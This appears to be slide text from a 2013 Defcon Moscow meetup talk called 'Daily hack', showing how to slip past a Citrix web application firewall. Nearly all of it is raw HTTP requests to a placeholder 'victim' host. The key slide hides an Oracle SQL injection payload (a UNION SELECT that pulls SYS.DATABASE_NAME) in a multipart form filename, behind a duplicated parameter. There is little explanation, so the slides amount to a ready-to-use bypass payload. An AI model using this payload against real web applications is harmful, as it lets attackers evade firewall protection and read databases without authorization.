Meeting #2.

1. Daily hack
By DCM
Jun 30, 2013

2. /whoami
Defcon Moscow
 You already know it about us
 ???
 PROFIT

3. Daily hack
Citrix WAF Bypass
GET /vulnerable_script HTTP/1.1
Host: victim
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ... citrix_ns_id_ ...
Connection: keep-alive

4. Daily hack
POST /vulnerable_script HTTP/1.1
Host: victim
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ... citrix_ns_id_ ...
Connection: keep-alive
Content-Length: 462
Citrix WAF Bypass

5. Daily hack
POST /vulnerable_script HTTP/1.1
Host: victim
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ... citrix_ns_id_ ...
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------2125014176
Content-Length: 462
Citrix WAF Bypass

6. Daily hack
Citrix WAF Bypass
----------2125014176
Content-Disposition: form-data; name="vid"
/***/
----------2125014176
Content-Disposition: form-data; name="vid"; filename="999999' union
select
'aaaaa',SYS.DATABASE_NAME,'bbbb',NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,null,NULL from dual -- "
1
----------2125014176--
http://bit.ly/1448cRr

7. Daily hack
The end.